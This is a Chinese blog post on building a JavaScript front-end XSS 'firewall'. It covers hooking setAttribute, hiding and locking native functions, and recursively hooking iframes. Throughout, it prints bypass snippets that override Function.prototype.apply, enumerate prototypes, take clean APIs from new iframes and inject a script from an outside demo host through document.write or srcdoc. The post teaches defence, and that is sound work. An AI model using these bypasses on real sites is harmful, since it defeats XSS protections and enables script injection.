XSS 前端防火墙-无懈可击的钩子

昨天尝试了一系列的可疑模块拦截试验,尽管最终的方案还存在着一些兼容性问题,但大体思路已经明确了:

  • 静态模块:使用 MutationObserver 扫描。
  • 动态模块:通过 API 钩子来拦截路径属性。

提到钩子程序,大家会联想到传统应用程序里的 API Hook,以及各种外挂木马。当然,未必是系统函数,任何 CPU 指令都能被改写成跳转指令,以实现先运行自己的程序。

无论是在哪个层面,钩子程序的核心理念都是一样的:无需修改已有的程序,即可先执行我们的程序。

这是一种链式调用的模式。调用者无需关心上一级的细节,直管用就是了,即使有额外的操作对其也是不可见的。从最底层的指令拦截,到语言层面的虚函数继承,以及更高层次的面向切面,都带有这类思想。

对于 JavaScript 这样灵活的语言,任何模式都可以实现。之前做过一个网页版的变速齿轮,用的就是这类原理。

JavaScript 钩子小试

要实现一个最基本的钩子程序非常简单,昨天已演示过了。现在我们再来给 setAttribute 接口实现一个钩子:

// 保存上级接口
var raw_fn = Element.prototype.setAttribute;

// 勾住当前接口
Element.prototype.setAttribute = function(name, value) {

    // 额外细节实现
    if (this.tagName == 'SCRIPT' && /^src$/i.test(name)) {
        if (/xss/.test(value)) {
            if (confirm('试图加载可疑模块:\n\n' + url + '\n\n是否拦截?')) {
                return;
            }
        }
    }
    raw_fn.apply(this, arguments);
};

// 创建脚本
var el = document.createElement('script');
el.setAttribute('SRC', 'http://www.9696e.com/statics/xss/alert.js');
document.body.appendChild(el);

类似昨天的访问器拦截,现在我们对 setAttribute 也进行类似的监控。因为它是个函数,所有主流浏览器都兼容。

钩子泄露

看起来似乎毫无难度,而且也没什么不对的地方,这不就可以了吗?

如果最终就用这代码,那也太挫了。我们把原始接口都暴露在全局变量里了,攻击者只要拿了这个变量,即可绕过我们的检测代码:

var el = document.createElement('script');

// 直接调用原始接口
raw_fn.call(el, 'SRC', 'http://www.9696e.com/statics/xss/alert.js');
document.body.appendChild(el);

靠,这不算,这只是我们测试而已。现实中谁会放在全局变量里呢,这年头不套一个闭包的脚本都不好意思拿出来。

好吧,我还是放闭包里,这总安全了吧。看你怎么隔空取物,从我闭包里偷出来。

(function() {
    // 保存上级接口
    var raw_fn = Element.prototype.setAttribute;
    ...
})();

不过,真要偷出来,那绝对是没问题的!

这个变量唯一用到的地方就是:

raw_fn.apply(this, arguments)

这可不是一个原子操作,而是调用了 Function.prototype.apply 这个全局函数。神马。。。这。是真的,不信你可以试试!

不用说,你也懂了。我还是说完吧:我们可以重写 apply,然后随便给某个元素 setAttribute 下,就可以窃听到钩子传过来的 raw_fn 了。

Function.prototype.apply = function() {
    console.log('哈哈,得到原始接口了:', this);
};
document.body.setAttribute('a', 1);

这也太贱了吧,不带这样玩的。可人家就能用这招绕过你,又怎样。

你会想,干脆把 Function.prototype.apply 也提前保存起来得了。然后一番折腾,你会发现代码变成 apply.apply.apply.apply…

毕竟,apply 和 call 已是最底层了,没法再 call 自己了。

这可怎么办。显然不能再用 apply 或 call 了,但不用它们没法把 this 变量传进去啊。回想下,有哪些方法可以控制 this 的:

  • obj.method()
  • method.call(obj)

貌似也就这两类。排除了第二种,那只剩最古老的用法了。可是我们已经重写了现有的接口,再调用自己那就递归溢出了。

但是,我们可以给原始接口换个名字,不就可以避免冲突了:

(function() {
    // 保存上级接口
    Element.prototype.__setAttribute = Element.prototype.setAttribute;

    // 勾住当前接口
    Element.prototype.setAttribute = function(name, value) {
        // 额外细节实现 ...

        // 向上调用
        this.__setAttribute(name, value);
    };
})();

这样倒是甩掉 apply 这个包袱了,但是无论取『__setAttribute』,还是换成其他名字,人家知道了,照样可以拿出原始接口。所以,我们得取个复杂的名字,最好每次还都不一样:

(function() {
    // 取个霸气的名字
    var token = '$' + Math.random();

    // 保存上级接口
    Element.prototype[token] = Element.prototype.setAttribute;

    // 勾住当前接口
    Element.prototype.setAttribute = function(name, value) {
        // 额外细节实现 ...

        // 向上调用
        this[token](name, value);
    };
})();

现在,你完全不知道我把原始接口藏在哪了,而且用 this[token](...) 这个巧妙的方法,同样符合刚才列举的第一类用法。

问题似乎。。。解决了。但,总感觉有什么不对劲。。。人家不知道变量藏哪了,难道不可以找吗。把 Element.prototype 遍历下,一个个找过去,不相信会找不到:

for(var k in Element.prototype) {
    console.log(k);

    if (k.substr(0,1) == '$') {
        console.error('楼上的,你这名字那么猥琐,敢露个面吗');
        console.error(Element.prototype[k]);
    }
}
find_raw

取了个这么拉风的名字,就象是黑暗中的萤火虫,瞬间给揪出来了。你会说,为什么不取个再隐蔽点的名字,甚至还可以冒充良民,把从来不用的方法给替换了。

不过,无论想怎么躲,都是徒劳的。有无数种方法可以让你原形毕露。除非 —— 根本不能被人家枚举到。

属性隐身术

如果没记错的话,主流 JavaScript 里好像还真有什么叫 enumerable、configurable 之类的东西。把它们搬出来,看看能不能赋予我们隐身功能?

马上就试试:

// 嘘~ 劳资要隐身了
Object.defineProperty(Element.prototype, token, {
    value: Element.prototype.setAttribute,
    enumerable: false
});

神奇,红红的那坨字果然没出现。看来真的隐身了!

到此,原函数泄露的问题,我们算是搞定了。

不过暂时还不能松懈,为什么?连 apply 都能被山寨,那还有什么可以相信的!那些正则表达式的 test 方法、字符串的大小写转换、数组的 forEach 等等等等,都是可以被改写的。

要是人家把 RegExp.prototype.test 重写了,并且总是返回 false,那么我们的策略判断就完全失效了。

所以,我们得重复上面的步骤,把这些运行时要用到的全局方法,都得随机隐匿起来。

锁死 call 和 apply

不过,隐藏一个还好,大量的代码都用这种 Geek 的方式,显得很是累赘。

既然能有隐身那样神奇的魔法,难道就没有其他类似的吗?事实上,Object.defineProperty 里还有很多有意思的功能,除了让属性不可见,还能不可写、不可删等等。

可以让属性不可写?太好了,不如干脆把 Function.prototype.call 和 apply 都事先锁死吧,反正谁会无聊到重写它们呢。

Object.defineProperty(Function.prototype, 'call', {
    value: Function.prototype.call,
    writable: false,
    configurable: false,
    enumerable: true
});

// apply 也一样

马上看看效果:

Function.prototype.call = function() {
    alert('hello');
};
console.log(Function.prototype.call);

果然还是

function call() { [native code] }

现在,我们大可放心的使用 call 和 apply,再也不用鼓捣那堆随机属性了。

不过这种随机+隐藏的属性,今后还是有用武之地的,常常用来给公开的对象做个秘密的记号,所以没有白折腾。

到此,我们终于可以松口气了。

新页面反射

别高兴的太早,真正的难题还在后面呢。

既然人家想破解,是会用尽各种手段的,并不局限于纯脚本。因为这是在网页里,攻击者们还可以呼唤出各种变幻莫测的浏览器功能,来躲避我们。

最简单的,就是创建一个框架页面,然后通过 contentWindow 即可获得一个全新的环境:

// 反射出纯净的接口
var frm = document.createElement('iframe');
document.body.appendChild(frm);
var raw_fn = frm.contentWindow.Element.prototype.setAttribute;

// 创建脚本
var el = document.createElement('script');
raw_fn.call(el, 'SRC', 'http://www.9696e.com/statics/xss/alert.js');
document.body.appendChild(el);

这时,我们的钩子程序就被瞬间秒杀了。

尽管同源页面之间是可以相互访问,但其所在的环境却是隔离的。子页面所有的一切都是独立的副本,完全不受主页面影响。

不过,既然能够访问子页面,显然也能给它们的环境安装上钩子。每当有新的框架元素出现时,我们就立即对其注入防护程序,让用户获取到的 contentWindow 已是带有钩子的。

类似传统的应用程序,每当调用其他程序时,安全软件需将新创建的进程加以防护。

你说会这很容易办到。将 createElement 方法勾住,然后在里面判断创建的是不是框架元素,如果是的话就直接防护子页面,不就可以了吗?

显然,这是经不起实践的。事实上,只要测试下你就会发现,未挂载到主节点的框架元素,contentWindow 始终是 null。也就是说,必须在调用 appendChild 之后才开始初始化子页面。

因此,我们得借助之前研究的节点挂载事件,找到一个能在 appendChild 之后,但在用户获取 contentWindow 之前触发的事件。

var observer = new MutationObserver(function(mutations) {
    console.log('MutationObserver:', mutations);
});
observer.observe(document, {
    subtree: true,
    childList: true
});

document.addEventListener('DOMNodeInserted', function(e) {
    console.log('DOMNodeInserted:', e);
}, true);


// 反射出纯净的接口
var frm = document.createElement('iframe');

console.warn('begin');
document.body.appendChild(frm);
console.warn('end');

var raw_fn = frm.contentWindow.Element.prototype.setAttribute;

/** 输出
begin
DOMNodeInserted  MutationEvent
end
MutationObserver:  Array[1]
MutationObserver:  Array[1]
*/

这不,DOMNodeInserted 就能满足我们的需求。于是,我们使用它来监控框架元素。

一旦发现有框架挂载到主节点上,我们赶紧把它的接口也装上钩子:

// 我们防御系统
(function() {
    function installHook(window) {
        // 保存上级接口
        var raw_fn = window.Element.prototype.setAttribute;

        // 勾住当前接口
        window.Element.prototype.setAttribute = function(name, value) {
            // 试试
            alert(name);

            // 向上调用
            raw_fn.apply(this, arguments);
        };
    }
    // 先保护当前页面
    installHook(window);

    document.addEventListener('DOMNodeInserted', function(e) {
        var element = e.target;

        // 给框架里环境也装个钩子
        if (element.tagName == 'IFRAME') {
            installHook(element.contentWindow);
        }
    }, true);
})();


// 反射出纯净的接口
var frm = document.createElement('iframe');
document.body.appendChild(frm);
var raw_fn = frm.contentWindow.Element.prototype.setAttribute;

// 创建脚本
var el = document.createElement('script');
raw_fn.call(el, 'SRC', 'http://www.9696e.com/statics/xss/alert.js');
document.body.appendChild(el);

完美!对话框成功弹出来了!即使从框架页里反射出新环境,仍然带有我们的钩子程序。

不过,貌似还漏了些什么。要是从框架页里再套框架页,我们就杯具了:

// 创建框架页
var frm = document.createElement('iframe');
document.body.appendChild(frm);

// 创建框架页的框架页
var doc = frm.contentDocument;
var frm2 = doc.createElement('iframe');
doc.body.appendChild(frm2);

// 反射接口
var raw_fn = frm2.contentWindow.Element.prototype.setAttribute;

// 创建脚本
var el = document.createElement('script');
raw_fn.call(el, 'SRC', 'http://www.9696e.com/statics/xss/alert.js');
document.body.appendChild(el);
frame_nest

前面说了,每个页面环境是独立的,主页面是捕捉不到子页面里的事件的。所以,框架页里创建元素,我们完全不知道。

怎么破?这还不简单,索性给框架页也绑上 DOMNodeInserted 事件,不就可以层层监控了吗。无论框架的几次方,都逃不过我们的火眼金睛了。

// 我们防御系统
(function() {
    function installHook(window) {
        // 保存上级接口
        var raw_fn = window.Element.prototype.setAttribute;

        // 勾住当前接口
        window.Element.prototype.setAttribute = function(name, value) {
            // 试试
            alert(name);

            // 向上调用
            raw_fn.apply(this, arguments);
        };

        // 监控当前环境的元素
        window.document.addEventListener('DOMNodeInserted', function(e) {
            var element = e.target;

            // 给框架里环境也装个钩子
            if (element.tagName == 'IFRAME') {
                installHook(element.contentWindow);
            }
        }, true);
    }

    // 先保护当前页面
    installHook(window);
})();

只需简单的小改动。我们把 DOMNodeInserted 放到 installHook 里,这样在安装钩子的同时,也对当前 window 中的元素进行监控。一旦出现框架元素,就递归防护。

现在,我们的框架页监控已是天衣无缝了。

新页面逆向控制

不过,世上没有绝对的事。

我们只考虑了正向的反射,却忘了框架也可以逆向控制主页面。攻击者要是能把 XSS 脚本注入到框架页里,同样也可以向上修改主页面里的内容,发起信任攻击。

在框架里引入脚本,方法就更多了。框架元素虽然是动态创建的,但其内容可以静态呈现:

// 创建框架页
var frm = document.createElement('iframe');
document.body.appendChild(frm);

// 静态呈现
frm.contentDocument.write('<\script src=http://www.9696e.com/statics/xss/alert.js><\/script>');

这只是随便列举了一种。事实上,HTML5 还新增一个可以直接控制框架页内容的属性:srcdoc。

<iframe srcdoc="<script src=http://www.9696e.com/statics/xss/alert.js></script>"></iframe>

并且还是在同源环境中执行的:

<iframe srcdoc="<script>parent.alert('call from frame')</script>"></iframe>

搞了半天结果还是能被绕过。

不过别灰心,经测试,document.write 出来的内容是可以被 MutationObserver 捕获到的。至于 srcdoc 嘛,这个偏门的属性完全可以把它禁掉,或者重写访问器,把 HTML 内容用其他办法代理到页面上去。反正这又不是主流的用法,只要最终效果一样就没问题了。

当然,要是在主页面里 document.write 怎么办?脚本确实能运行,但不白屏了吗。如果觉得这有风险,可以在 DOMContentLoaded 之后,把 document.write 也屏蔽掉,以免后患。

后记

虽说魔高一尺道高一丈,但再牢固的钩子还是有意想不到的办法绕过的。因此我们得与时俱进,不断修缮来强化防御能力。

到目前为止,我们已对脚本、框架、API 接口实现了主动防御。但是,具备执行能力的元素并不止这些。

例如 Flash 就可以运行页面中的脚本,光是它就占用了 object,embed,param 那么多元素。

而且,API 防护钩子并不全面,只是例举了几个常用的。

下一篇,我们将详细的整理需要防护的监控点,实现全方位的防护。

来源于http://fex.baidu.com/blog/2014/06/xss-frontend-firewall-2/

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